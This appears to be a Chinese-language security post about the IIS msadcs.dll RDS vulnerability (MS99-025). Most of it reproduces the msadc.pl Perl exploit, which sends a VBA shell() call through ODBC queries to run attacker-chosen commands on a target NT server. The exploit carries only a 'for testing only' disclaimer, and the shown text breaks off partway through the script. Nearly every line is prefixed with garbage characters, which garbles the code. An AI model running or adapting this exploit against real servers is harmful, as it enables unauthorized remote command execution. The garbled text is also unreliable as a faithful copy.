IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<i,U )Tt^C #'y#"cmQ. 涉及程序:
)rC6*eR Microsoft NT server
r(P(Rj2~ ?"g! 描述:
EKO[ !, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
AB4(+S*LA :8OZ#D_Hl 详细:
M]J^N# 如果你没有时间读详细内容的话,就删除:
O&Y*pOg c:\Program Files\Common Files\System\Msadc\msadcs.dll
pej|!oX 有关的安全问题就没有了。
4T ~} ,k;^G><
= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
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f&l`\ RNe^;
B 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
76`8=!]R 关于利用ODBC远程漏洞的描述,请参看:
}9FSO9*&} 3U0`,c\ao* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [C'JH//q*t ?U2< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9?SZNL['V http://www.microsoft.com/security/bulletins/MS99-025faq.asp U[ 0=L`0e va0{>Dc+ 这里不再论述。
jEZMUqGY! Rd#WMo2Xd 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ojanBg
Ys\Wj%6A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
H*r)Z90 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4GX-ma, B\o Mn C)`Fv=]R #将下面这段保存为txt文件,然后: "perl -x 文件名"
85LAYaw z62;cv #!perl
j3{D^|0bP #
yjF1}SQ # MSADC/RDS 'usage' (aka exploit) script
7Mg=b%IYs #
ci?qT,& # by rain.forest.puppy
0|{u{w@!` #
%yv<y+yP~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]d!
UJ&<? # beta test and find errors!
qm"rY\: Q|#W#LV,K use Socket; use Getopt::Std;
q!|*oUW getopts("e:vd:h:XR", \%args);
$}!p+$ zN^n]N_? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+nJgl8'^y 2h5nMI]' if (!defined $args{h} && !defined $args{R}) {
{?:X8&Sf print qq~
Hl{S]]z Usage: msadc.pl -h <host> { -d <delay> -X -v }
iT2B'QI=< -h <host> = host you want to scan (ip or domain)
hHV";bk -d <seconds> = delay between calls, default 1 second
e,W%uH>X -X = dump Index Server path table, if available
NTYg[VTr -v = verbose
[PNT\ElT -e = external dictionary file for step 5
?#}N1k\S =A83W/4 Or a -R will resume a command session
pHLB = r hEKf6# ~; exit;}
Z{]0jhUyNh 7$CBx/X50) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HTX?,C_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Brf5dT49 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
PoG-Rqe if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
XAF+0 x! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X\{LnZ@r4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
< t,zaIi leTf&W if (!defined $args{R}){ $ret = &has_msadc;
W\d{a(* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=THpdtL fSK]|"c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,(EO'T[ . "cmd /c ";
`p2+&&]S $in=<STDIN>; chomp $in;
\hDlTp} $command="cmd /c " . $in ;
H4:`6 PSL ]>=}*= if (defined $args{R}) {&load; exit;}
/|C* -?V-*jI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5Co &try_btcustmr;
H[,i{dD f4 P8Oz print "\nStep 2: Trying to make our own DSN...";
I|gB@|_~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&$`P,i 1) F \KjEl0 print "\nStep 3: Trying known DSNs...";
bDL,S?@ &known_dsn;
|H;F7Y_ ,JAx
?Xb print "\nStep 4: Trying known .mdbs...";
6-$jkto &known_mdb;
pwL;A3$| <
$J>9k if (defined $args{e}){
49GkPy#]L= print "\nStep 5: Trying dictionary of DSN names...";
.F
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"{@A5A 9K{%vK print "Sorry Charley...maybe next time?\n";
47+&L exit;
JtYP E? [>8}J" ##############################################################################
k/#&qC>] l;R%= P?'F sub sendraw { # ripped and modded from whisker
M+||rct sleep($delay); # it's a DoS on the server! At least on mine...
q&s3wDl/ my ($pstr)=@_;
,(d)Qg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Wbr|_W die("Socket problems\n");
!t$'AoVBq if(connect(S,pack "SnA4x8",2,80,$target)){
r`W)0oxD select(S); $|=1;
EofymAi% print $pstr; my @in=<S>;
>,gg5<F-E select(STDOUT); close(S);
x@P y>f2 return @in;
$PTP/^ } else { die("Can't connect...\n"); }}
m0ER@BXRn {o_X`rgrL ##############################################################################
_=_Px@<Q ,J,/."Y sub make_header { # make the HTTP request
1+szG1U= my $msadc=<<EOT
=RA / POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
b6nsg| User-Agent: ACTIVEDATA
}()5"QB Host: $ip
y"bByd|6 Content-Length: $clen
n0r+A^] Connection: Keep-Alive
gd%NkxmW q)X$^oE!6 ADCClientVersion:01.06
OK[T3/v, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^t` k0< -lbm*
-( --!ADM!ROX!YOUR!WORLD!
be]bZ
1f Content-Type: application/x-varg
Tl(^ Content-Length: $reqlen
F,W~,y "-e
\p lKj EOT
G18F&c~ ; $msadc=~s/\n/\r\n/g;
sqEI4~514 return $msadc;}
$?Yry.2 /oR0+sH] ##############################################################################
Dv| #u|iw 2|3)S`WZl sub make_req { # make the RDS request
RQ vft my ($switch, $p1, $p2)=@_;
i6dHrx]:, my $req=""; my $t1, $t2, $query, $dsn;
"+kL)] fkuLj%R if ($switch==1){ # this is the btcustmr.mdb query
ii[F]sR\ $query="Select * from Customers where City=" . make_shell();
qkt0**\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=
s>T;| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Vq2y4D? HG^B#yX elsif ($switch==2){ # this is general make table query
u$DHVRrF< $query="create table AZZ (B int, C varchar(10))";
jF ^~p9z $dsn="$p1";}
msP{l^%0 rID#`:Hl-| elsif ($switch==3){ # this is general exploit table query
EN$2,qf $query="select * from AZZ where C=" . make_shell();
K-bD<X $dsn="$p1";}
*W.C7= <;vbsksZeH elsif ($switch==4){ # attempt to hork file info from index server
f,h J~ $query="select path from scope()";
h].<t& $dsn="Provider=MSIDXS;";}
"$#xK |t ;YA(|h< elsif ($switch==5){ # bad query
|SoCRjuCPM $query="select";
}YB*]<] $dsn="$p1";}
:o|\"3 \w/yF4,3<w $t1= make_unicode($query);
`IP/d $t2= make_unicode($dsn);
+ln9c $req = "\x02\x00\x03\x00";
^V ?<K.F $req.= "\x08\x00" . pack ("S1", length($t1));
^8 z R $req.= "\x00\x00" . $t1 ;
rf
$ QxJ $req.= "\x08\x00" . pack ("S1", length($t2));
o)Iff)m$ $req.= "\x00\x00" . $t2 ;
$;1#To $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3,p]/Z_ return $req;}
+MR.>" 8$")%_1] ##############################################################################
9!6f-K j/R[<47 sub make_shell { # this makes the shell() statement
Ja,wfRq return "'|shell(\"$command\")|'";}
s3~lT. -m)X]]~C ##############################################################################
pOGeruu? v=0(~<7B sub make_unicode { # quick little function to convert to unicode
GR&z, my ($in)=@_; my $out;
.:@Ykdm4I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fKeT,U`W return $out;}
'C`U"I _7H7
dV ##############################################################################
!k6K?xt DnC{YK sub rdo_success { # checks for RDO return success (this is kludge)
&+cEV6vb+ my (@in) = @_; my $base=content_start(@in);
iIMd!Q.)@ if($in[$base]=~/multipart\/mixed/){
~D<IB#C return 1 if( $in[$base+10]=~/^\x09\x00/ );}
D&od?3}E return 0;}
N*"p|yhd] Gr7=:+0n|P ##############################################################################
e5* ni/P S]bmS6# sub make_dsn { # this makes a DSN for us
gW^VVbB'L my @drives=("c","d","e","f");
Yk)."r&